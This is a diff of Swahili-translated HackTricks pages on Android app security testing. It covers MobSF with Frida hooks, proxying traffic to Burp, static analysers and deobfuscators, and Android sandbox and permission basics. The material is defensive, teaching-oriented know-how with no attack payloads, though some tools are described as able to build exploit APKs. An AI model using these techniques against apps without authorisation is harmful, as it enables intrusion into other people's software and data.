Kuanza **ujaribio wa kisasa** bonyeza kitufe cha kijani: "**Anza Upelelezi**". Bonyeza "**Frida Live Logs**" kuona logs zilizozalishwa na skripti za Frida na "**Mfuatiliaji wa API Moja kwa Moja**" kuona mwaliko wote kwa njia za kufungwa, hoja zilizopitishwa na thamani zilizorudishwa (hii itaonekana baada ya kubonyeza "Anza Upelelezi").\
|
||||
MobSF pia inakuruhusu kupakia skripti zako za **Frida** (kutuma matokeo ya skripti zako za Ijumaa kwa MobSF tumia kazi `tuma()`). Pia ina **skripti zilizopewa maandishi** unaweza kupakia (unaweza kuongeza zaidi katika `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), tu **zichague**, bonyeza "**Pakia**" na bonyeza "**Anza Upelelezi**" (utaweza kuona logs za skripti hizo ndani ya "**Frida Live Logs**").
|
||||
|
||||
![](<../../.gitbook/assets/image (215).png>)
|
||||
|
||||
Zaidi ya hayo, una baadhi ya utendaji wa ziada wa Frida:
|
||||
Zaidi ya hayo, una baadhi ya vifaa vya ziada vya Frida:
|
||||
|
||||
* **Piga Darasa Zilizopakiwa**: Itachapisha madarasa yote yaliyopakiwa
|
||||
* **Kamata Maneno**: Itachapisha maneno yote yaliyokamatwa wakati wa kutumia maombi (kelele nyingi sana)
|
||||
* **Kamata Maneno**: Itachapisha maneno yote yaliyokamatwa wakati wa kutumia programu (kelele nyingi sana)
|
||||
* **Kamata Linganishi la Maneno**: Inaweza kuwa na manufaa sana. Ita **onyesha maneno 2 yanayolinganishwa** na ikiwa matokeo yalikuwa ya Kweli au ya Uongo.
|
||||
* **Piga Mbinu za Darasa**: Weka jina la darasa (kama "java.io.File") na itachapisha mbinu zote za darasa.
|
||||
* **Tafuta Mfano wa Darasa**: Tafuta madarasa kwa mfano
|
||||
* **Fuatilia Mbinu za Darasa**: **Fuatilia** darasa **zima** (ona matokeo na matokeo ya mbinu zote za darasa). Kumbuka kwamba kwa chaguo-msingi MobSF inafuatilia mbinu kadhaa za Android Api za kuvutia.
|
||||
|
||||
Unapochagua moduli ya ziada unayotaka kutumia unahitaji kubonyeza "**Anza Upelelezi**" na utaona matokeo yote katika "**Frida Live Logs**".
|
||||
Maratibu unapochagua moduli ya ziada unayotaka kutumia unahitaji kubonyeza "**Anza Upelelezi**" na utaona matokeo yote katika "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
**Kifaa cha Amri**
|
||||
|
||||
Mobsf pia inakuletea shell na baadhi ya amri za **adb**, **amri za MobSF**, na amri za **shell** za kawaida chini ya ukurasa wa uchambuzi wa kisasa. Baadhi ya amri za kuvutia:
|
||||
Mobsf pia inakuletea kifaa cha amri na baadhi ya amri za **adb**, amri za **MobSF**, na amri za **kawaida za shell** chini ya ukurasa wa uchambuzi wa kisasa. Baadhi ya amri za kuvutia:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
|
@ -630,19 +631,19 @@ receivers
|
|||
```
|
||||
**Vyombo vya HTTP**
|
||||
|
||||
Wakati trafiki ya http inachukuliwa unaweza kuona maoni mabaya ya trafiki iliyochukuliwa kwenye "**HTTP(S) Traffic**" chini au maoni mazuri katika kifungo cha kijani cha "**Start HTTPTools**". Kutoka chaguo la pili, unaweza **kutuma** maombi yaliyochukuliwa kwa **proxies** kama Burp au Owasp ZAP.\
|
||||
Ili kufanya hivyo, _washa Burp -->_ _zima Intercept --> katika MobSB HTTPTools chagua ombi_ --> bonyeza "**Tuma kwa Fuzzer**" --> _chagua anwani ya proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Unapochukua trafiki ya http unaweza kuona mtazamo mbaya wa trafiki iliyochukuliwa kwenye "**HTTP(S) Traffic**" chini au mtazamo mzuri zaidi kwenye kitufe cha kijani cha "**Start HTTPTools**". Kutoka chaguo la pili, unaweza **kutuma** maombi yaliyochukuliwa kwa **proxies** kama Burp au Owasp ZAP.\
|
||||
Ili kufanya hivyo, _washa Burp -->_ _zima Intercept --> kwenye MobSB HTTPTools chagua ombi_ --> bonyeza "**Tuma kwa Fuzzer**" --> _chagua anwani ya proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Baada ya kumaliza uchambuzi wa kudumu na MobSF unaweza bonyeza "**Anza Web API Fuzzer**" kufanya **fuzz maombi ya http** na kutafuta mapungufu.
|
||||
|
||||
{% hint style="info" %}
|
||||
Baada ya kufanya uchambuzi wa kudumu na MobSF mipangilio ya proxy inaweza kuwa haijasanidiwa vizuri na huenda usiweze kuzirekebisha kutoka kwenye GUI. Unaweza kusahihisha mipangilio ya proxy kwa kufanya:
|
||||
Baada ya kufanya uchambuzi wa kudumu na MobSF mipangilio ya proxy inaweza kuwa imeharibika na huenda usiweze kuzirekebisha kutoka kwenye GUI. Unaweza kuzirekebisha mipangilio ya proxy kwa kufanya:
|
||||
```
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
### Uchambuzi wa Kisasa wa Kielelezo na Inspeckage
|
||||
### Uchambuzi wa Kielelezo wa Kielelezo na Inspeckage
|
||||
|
||||
Unaweza kupata zana kutoka kwa [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Zana hii itatumia **Hooks** kuwajulisha **kinachoendelea katika programu** wakati unafanya **uchambuzi wa kielelezo**.
|
||||
|
@ -655,7 +656,7 @@ Hii ni **zana nzuri kufanya uchambuzi wa kistatiki na GUI**
|
|||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Zana hii imeundwa kutafuta **mapungufu kadhaa ya usalama wa programu za Android**, iwe katika **msimbo wa chanzo** au **APK zilizopakwa**. Zana hii pia **inaweza kuunda APK inayoweza kutekelezwa kama "uthibitisho wa dhana"** na **amri za ADB**, kwa kufaidika na baadhi ya mapungufu yaliyopatikana (shughuli zilizofichuliwa, nia, tapjacking...). Kama ilivyo na Drozer, hakuna haja ya kuroot kifaa cha majaribio.
|
||||
Zana hii imeundwa kutafuta **mapungufu kadhaa ya usalama wa programu za Android**, iwe katika **msimbo wa chanzo** au **APK zilizopakwa**. Zana hii pia **inaweza kuunda APK inayoweza kutekelezwa ya "Proof-of-Concept"** na **amri za ADB**, kuchexploit baadhi ya mapungufu yaliyopatikana (shughuli zilizofichuliwa, nia, tapjacking...). Kama ilivyo na Drozer, hakuna haja ya kuroot kifaa cha majaribio.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
|
@ -687,7 +688,7 @@ super-analyzer {apk_file}
|
|||
|
||||
![](<../../.gitbook/assets/image (62).png>)
|
||||
|
||||
StaCoAn ni chombo **cha msalaba-jukwaa** ambacho husaidia wabunifu, wawindaji wa tuzo za mdudu na wadukuzi wa maadili kufanya [uchambuzi wa msimbo wa tuli](https://en.wikipedia.org/wiki/Static\_program\_analysis) kwenye programu za simu.
|
||||
StaCoAn ni chombo **cha msalaba-jukwaa** kinachosaidia waendelezaji, wawindaji wa tuzo za mdudu na wadukuzi wa maadili kufanya [uchambuzi wa msimbo wa tuli](https://en.wikipedia.org/wiki/Static\_program\_analysis) kwenye programu za simu.
|
||||
|
||||
Wazo ni kwamba unaburuta na kuachia faili yako ya programu ya simu (faili ya .apk au .ipa) kwenye programu ya StaCoAn na itazalisha ripoti ya kuona na inayoweza kubebeka kwako. Unaweza kubadilisha mipangilio na orodha za maneno ili upate uzoefu ulioboreshwa.
|
||||
|
||||
|
@ -697,8 +698,8 @@ Pakua [toleo jipya zaidi](https://github.com/vincentcox/StaCoAn/releases):
|
|||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
|
||||
|
||||
AndroBugs Framework ni mfumo wa uchambuzi wa kasoro za usalama za Android ambao husaidia wabunifu au wadukuzi kupata kasoro za usalama katika programu za Android.\
|
||||
[Vipindi vya Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
|
||||
AndroBugs Framework ni mfumo wa uchambuzi wa kasoro za Android ambao husaidia wabunifu au wadukuzi kupata kasoro za usalama katika programu za Android.\
|
||||
[Matokeo ya Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
androbugs.exe -f [APK file]
|
||||
|
@ -707,9 +708,9 @@ androbugs.exe -f [APK file]
|
|||
|
||||
**Androwarn** ni chombo ambacho lengo kuu ni kugundua na kumwonya mtumiaji kuhusu tabia za uovu zinazotengenezwa na programu ya Android.
|
||||
|
||||
Ugunduzi hufanywa na **uchambuzi wa tuli** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, kwa kutumia maktaba ya [`androguard`](https://github.com/androguard/androguard).
|
||||
Ugunduzi hufanywa na **uchambuzi wa tuli** wa bytecode ya Dalvik ya programu, inayowakilishwa kama **Smali**, na maktaba ya [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Chombo hiki hutafuta **tabia za kawaida za programu "mbaya"** kama: Ufichuaji wa vitambulisho vya simu, Udukuzi wa mizani ya sauti/video, Kubadilisha data za PIM, Utekelezaji wa nambari isiyo na kikomo...
|
||||
Chombo hiki hutafuta **tabia za kawaida za programu "mbaya"** kama: Ufichuaji wa vitambulisho vya simu, Udukuzi wa mizani ya sauti/video, Kubadilisha data ya PIM, Utekelezaji wa nambari isiyo na mpangilio...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
|
@ -717,52 +718,52 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (81).png>)
|
||||
|
||||
**MARA** ni **M**fumo wa **A**nalisi na **R**everse engineering wa **A**pplication ya simu. Ni chombo kinachojumuisha zana za kawaida zinazotumiwa katika reverse engineering na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama vya simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama.
|
||||
**MARA** ni **M**fumo wa **A**nalisi na **R**everse engineering wa **A**plikesheni za Simu. Ni chombo kinachojumuisha zana za kawaida zinazotumiwa katika reverse engineering na uchambuzi wa aplikesheni za simu, kusaidia katika kupima aplikesheni za simu dhidi ya vitisho vya usalama vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa wabunifu wa aplikesheni za simu na wataalamu wa usalama.
|
||||
|
||||
Inaweza:
|
||||
|
||||
* Kunasa nambari za Java na Smali kwa kutumia zana tofauti
|
||||
* Kuchambua APKs kwa kutumia: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
* Kunasa habari za kibinafsi kutoka kwa APK kwa kutumia regexps.
|
||||
* Kunasa habari za kibinafsi kutoka kwenye APK kwa kutumia regexps.
|
||||
* Kuchambua Manifest.
|
||||
* Kuchambua vikoa vilivyopatikana kwa kutumia: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) na [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
* Kufuta Obfuscate APK kupitia [apk-deguard.com](http://www.apk-deguard.com)
|
||||
* Kufuta obfuscation ya APK kupitia [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Inatumika kugundua zisizo: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Obfuscating/Deobfuscating nambari
|
||||
## Kuficha/Deobfuscating nambari
|
||||
|
||||
Tafadhali kumbuka kuwa kutegemea huduma na usanidi unaoitumia kuficha nambari. Siri inaweza au isifichwe.
|
||||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
Kutoka [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** ni chombo cha amri cha chanzo wazi ambacho hupunguza, hupamba na kuficha nambari ya Java. Inaweza kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumiwa. ProGuard ni programu huru na inasambazwa chini ya Leseni ya Umma ya GNU, toleo la 2.
|
||||
Kutoka [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** ni chombo cha amri cha wazi kinachopunguza, kuboresha na kuficha nambari ya Java. Inaweza kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumiwa. ProGuard ni programu huru na inasambazwa chini ya Leseni ya Umma ya GNU, toleo la 2.
|
||||
|
||||
ProGuard inasambazwa kama sehemu ya Android SDK na inaendeshwa wakati wa kujenga programu katika hali ya kutolewa.
|
||||
ProGuard inasambazwa kama sehemu ya Android SDK na inaendeshwa wakati wa kujenga aplikesheni katika hali ya kutolewa.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Pata mwongozo wa hatua kwa hatua wa kufuta obfuscation ya apk katika [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Kutoka kwa mwongozo huo) Wakati wa mwisho tulipoangalia, mode ya Dexguard ya uendeshaji ilikuwa:
|
||||
(Kutoka kwenye mwongozo huo) Wakati wa mwisho tulipoangalia, mode ya Dexguard ya uendeshaji ilikuwa:
|
||||
|
||||
* pakia rasilimali kama InputStream;
|
||||
* peleka matokeo kwa darasa linaloiga kutoka kwa FilterInputStream kwa kuidukua;
|
||||
* fanya obfuscation isiyo na maana kufanya muda wa dakika chache kutoka kwa mrejeshaji;
|
||||
* peleka matokeo yaliyodukuliwa kwa ZipInputStream kupata faili ya DEX;
|
||||
* hatimaye pakia DEX iliyopatikana kama Rasilimali kwa kutumia njia ya `loadDex`.
|
||||
* kusoma rasilimali kama InputStream;
|
||||
* kutoa matokeo kwa darasa linaloiga kutoka kwa FilterInputStream ili kulifanyia decryption;
|
||||
* kufanya obfuscation isiyo na maana ili kupoteza dakika chache za muda kutoka kwa mtu anayegeuza;
|
||||
* kutoa matokeo yaliyofunguliwa kwa ZipInputStream ili kupata faili ya DEX;
|
||||
* hatimaye kusoma DEX iliyopatikana kama Rasilimali kwa kutumia njia ya `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard inabadilisha mchakato wa obfuscation uliofanywa na zana za obfuscation za Android. Hii inawezesha uchambuzi wa usalama mwingi, ikiwa ni pamoja na ukaguzi wa nambari na kutabiri maktaba.**
|
||||
|
||||
Unaweza kupakia APK iliyofichwa kwa jukwaa lao.
|
||||
Unaweza kupakia APK iliyofichwa kwenye jukwaa lao.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Ni **deobfuscator wa Android wa jumla.** Simplify **inakimbia programu** kuelewa tabia yake na kisha **jaribu kuboresha nambari** ili iweze kutenda kwa njia ile ile lakini iwe rahisi kwa binadamu kuelewa. Kila aina ya uboreshaji ni rahisi na ya jumla, kwa hivyo haifai ni aina gani maalum ya obfuscation inayotumiwa.
|
||||
Ni **deobfuscator wa kawaida wa Android.** Simplify **inakimbia programu** ili kuelewa tabia yake na kisha **jaribu kuboresha nambari** ili iweze kutenda kwa njia ile ile lakini iwe rahisi kwa binadamu kuelewa. Kila aina ya uboreshaji ni rahisi na wa kawaida, hivyo haifai ni aina gani maalum ya obfuscation inayotumiwa.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
@ -776,7 +777,7 @@ APKiD inakupa habari kuhusu **jinsi APK ilivyoundwa**. Inatambua **compilers** n
|
|||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b ni mashine ya kawaida ya usalama wa Android inayotegemea ubuntu-mate inajumuisha mkusanyiko wa hivi karibuni wa fremu, mafunzo na maabara kutoka kwa wataalamu tofauti wa usalama na watafiti kwa ajili ya reverse engineering na uchambuzi wa zisizo.
|
||||
AndroL4b ni mashine halisi ya usalama ya Android inayotegemea ubuntu-mate inajumuisha mkusanyiko wa hivi karibuni wa fremu, mafunzo na maabara kutoka kwa wataalamu tofauti wa usalama na watafiti kwa ajili ya reverse engineering na uchambuzi wa zisizo.
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -794,29 +795,29 @@ AndroL4b ni mashine ya kawaida ya usalama wa Android inayotegemea ubuntu-mate in
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za udhaifu!
|
||||
|
||||
**Machapisho ya Kudukua**\
|
||||
Shiriki na maudhui yanayochimba ndani ya msisimko na changamoto za kudukua
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za udukuzi
|
||||
|
||||
**Habari za Kudukua za Wakati Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa kudukua kwa kasi kupitia habari za wakati halisi na ufahamu
|
||||
**Habari za Udukuzi za Wakati Halisi**\
|
||||
Kaa sasa na ulimwengu wa udukuzi wenye kasi kupitia habari na ufahamu wa wakati halisi
|
||||
|
||||
**Matangazo ya Hivi Karibuni**\
|
||||
Baki mwelekezwa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
**Matangazo Mapya**\
|
||||
Baki mwelekezwa na tuzo mpya za udhaifu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kudukua kwa kutumia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,11 +2,11 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,53 +26,53 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
**Kuna safu mbili:**
|
||||
|
||||
* **OS**, ambayo inaweka maombi yaliyosanikishwa kwa kila mmoja.
|
||||
* **OS**, ambayo inaweka maombi yaliyosanikishwa kando na mwingine.
|
||||
* **Maombi yenyewe**, ambayo inaruhusu watengenezaji ku **funua baadhi ya utendaji** na kusanidi uwezo wa maombi.
|
||||
|
||||
### Ufafanuzi wa UID
|
||||
|
||||
**Kila maombi hupewa Kitambulisho cha Mtumiaji maalum**. Hii hufanywa wakati wa usanidi wa programu ili **programu iweze kuingiliana tu na faili zilizomilikiwa na Kitambulisho chake cha Mtumiaji au faili zilizoshirikiwa**. Kwa hivyo, ni programu yenyewe, sehemu fulani za OS na mtumiaji wa msingi tu wanaweza kupata data za programu.
|
||||
**Kila maombi hupewa Kitambulisho cha Mtumiaji maalum**. Hii hufanywa wakati wa usakinishaji wa programu ili **programu iweze kuingiliana tu na faili zilizomilikiwa na Kitambulisho chake cha Mtumiaji au faili zilizoshirikiwa**. Kwa hivyo, ni programu yenyewe, sehemu fulani za OS na mtumiaji wa msingi tu wanaweza kupata data za programu.
|
||||
|
||||
### Kushiriki UID
|
||||
|
||||
**Maombi mawili yanaweza kusanidiwa kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki habari, lakini ikiwa moja yao itashambuliwa data ya maombi yote itashambuliwa. Ndio maana tabia hii ina **kukataliwa**.\
|
||||
**Maombi mawili yanaweza kusanidiwa kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki habari, lakini ikiwa moja yao itashambuliwa data ya maombi yote itashambuliwa. Ndio maana tabia hii inapendekezwa **kutofanywa**.\
|
||||
**Ili kushiriki UID sawa, maombi lazima yatamke thamani sawa ya `android:sharedUserId` katika mizizi yao.**
|
||||
|
||||
### Sanduku la Mchanga
|
||||
### Sandboksi
|
||||
|
||||
**Sanduku la Maombi ya Android** inaruhusu kuendesha **kila maombi** kama **mchakato tofauti chini ya Kitambulisho cha Mtumiaji tofauti**. Kila mchakato una mashine yake ya kisasa, kwa hivyo msimbo wa programu hufanya kazi kivyake kutoka kwa programu zingine.\
|
||||
Kuanzia Android 5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwingiliano wa mchakato wote na kisha ikatengeneza sera za **kuruhusu mwingiliano uliotarajiwa kati yao tu**.
|
||||
**Sandbox ya Maombi ya Android** inaruhusu kufanya kazi **kila maombi** kama **mchakato tofauti chini ya Kitambulisho cha Mtumiaji tofauti**. Kila mchakato una mashine yake ya kisasa, kwa hivyo msimbo wa programu hufanya kazi kivyake kutoka kwa programu zingine.\
|
||||
Kuanzia Android 5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwingiliano wa michakato yote na kisha ikatengeneza sera za **kuruhusu mwingiliano uliotarajiwa kati yao tu**.
|
||||
|
||||
### Ruhusa
|
||||
|
||||
Unapoweka **programu na inauliza ruhusa**, programu inauliza ruhusa zilizosanidiwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya **sifa ya jina**. Pia ina sifa ya **maxSdkVersion** ambayo inazuia kuuliza ruhusa kwenye toleo zaidi ya lile lililoelezwa.\
|
||||
Tambua kwamba maombi ya android hayahitaji kuuliza ruhusa zote mwanzoni, wanaweza pia **kuuliza ruhusa kwa kudhibiti** lakini ruhusa zote lazima **zitamkwe** katika **mizizi.**
|
||||
Unapoweka **programu na inauliza ruhusa**, programu inauliza ruhusa zilizosanidiwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya sifa ya **jina**. Pia ina sifa ya **maxSdkVersion** ambayo inazuia kuuliza ruhusa kwenye toleo zaidi ya lile lililoelezwa.\
|
||||
Tambua kwamba maombi ya android hayahitaji kuuliza ruhusa zote mwanzoni, wanaweza pia **kuuliza ruhusa kwa njia ya kudhibiti** lakini ruhusa zote lazima **zitamkwe** katika **mizizi.**
|
||||
|
||||
Wakati programu inafunua utendaji inaweza kikomo **upatikanaji kwa maombi tu yenye ruhusa iliyotajwa**.\
|
||||
Wakati programu inapofunua utendaji inaweza kikomo **upatikanaji kwa maombi tu yenye ruhusa iliyotajwa**.\
|
||||
Kipengele cha ruhusa kina sifa tatu:
|
||||
|
||||
* **Jina** la ruhusa
|
||||
* Sifa ya **kikundi cha ruhusa**, ambayo inaruhusu kikundi cha ruhusa kinachohusiana.
|
||||
* Sifa ya **kikundi cha ruhusa**, ambayo inaruhusu kwa kikundi cha ruhusa kinachohusiana.
|
||||
* **Kiwanja cha ulinzi** ambacho kinaonyesha jinsi ruhusa zinavyotolewa. Kuna aina nne:
|
||||
* **Kawaida**: Hutumiwa wakati hakuna **tishio lililojulikana** kwa programu. Mtumiaji **hahitajiki kuidhinisha**.
|
||||
* **Hatari**: Inaonyesha ruhusa inayompa maombi yanayoomba **upatikanaji ulioinuliwa**. **Watumiaji wanahitajika kuidhinisha**.
|
||||
* **Sahihi**: **Maombi yaliyosainiwa na cheti sawa na lile** linaloexport kipengee kinaweza kupewa ruhusa. Hii ni aina yenye nguvu zaidi ya ulinzi.
|
||||
* **SahihiAuMfumo**: **Maombi yaliyosainiwa na cheti sawa na lile** linaloexport kipengee au **maombi yanayotumia upatikanaji wa kiwango cha mfumo** yanaweza kupewa ruhusa
|
||||
* **Hatari**: Inaonyesha ruhusa inayompa maombi yanayotaka **upatikanaji ulioinuliwa**. **Watumiaji wanahitajika kuziidhinisha**.
|
||||
* **Sahihi**: **Maombi yaliyosainiwa na cheti kile kile** kama lile linaloexport kipengee kinaweza kupewa ruhusa. Hii ni aina yenye nguvu zaidi ya ulinzi.
|
||||
* **SahihiAuMfumo**: **Maombi yaliyosainiwa na cheti kile kile** kama lile linaloexport kipengee au **maombi yanayotumia upatikanaji wa kiwango cha mfumo** yanaweza kupewa ruhusa
|
||||
|
||||
## Maombi Yaliyosanikishwa Kabla
|
||||
|
||||
Maombi haya kwa kawaida hupatikana katika saraka za **`/system/app`** au **`/system/priv-app`** na baadhi yao ni **yaliyoboreshwa** (unaweza hata usipate faili ya `classes.dex`). Maombi haya ni muhimu kuangalia kwa sababu mara nyingi yanakuwa **yanaendeshwa na ruhusa nyingi sana** (kama mtumiaji wa msingi).
|
||||
Maombi haya kwa kawaida hupatikana katika **`/system/app`** au **`/system/priv-app`** na baadhi yao ni **yaliyoboreshwa** (unaweza hata usipate faili ya `classes.dex`). Maombi haya ni muhimu kuchunguza kwa sababu mara nyingi yanakuwa **yakifanya kazi na ruhusa nyingi sana** (kama mtumiaji wa msingi).
|
||||
|
||||
* Yaliyotumwa na **AOSP** (Android OpenSource Project) **ROM**
|
||||
* Yaliyoongezwa na **mtengenezaji wa kifaa**
|
||||
* Yaliyoongezwa na **mtoa huduma wa simu** (ikiwa imeunuliwa kutoka kwao)
|
||||
* Yaliyotumwa na **AOSP** (Mradi wa Chanzo Wazi wa Android) **ROM**
|
||||
* Yaliyotolewa na **mtengenezaji wa kifaa**
|
||||
* Yaliyotolewa na **mtoa huduma wa simu** (ikiwa imeununua kutoka kwao)
|
||||
|
||||
## Kuroot
|
||||
|
||||
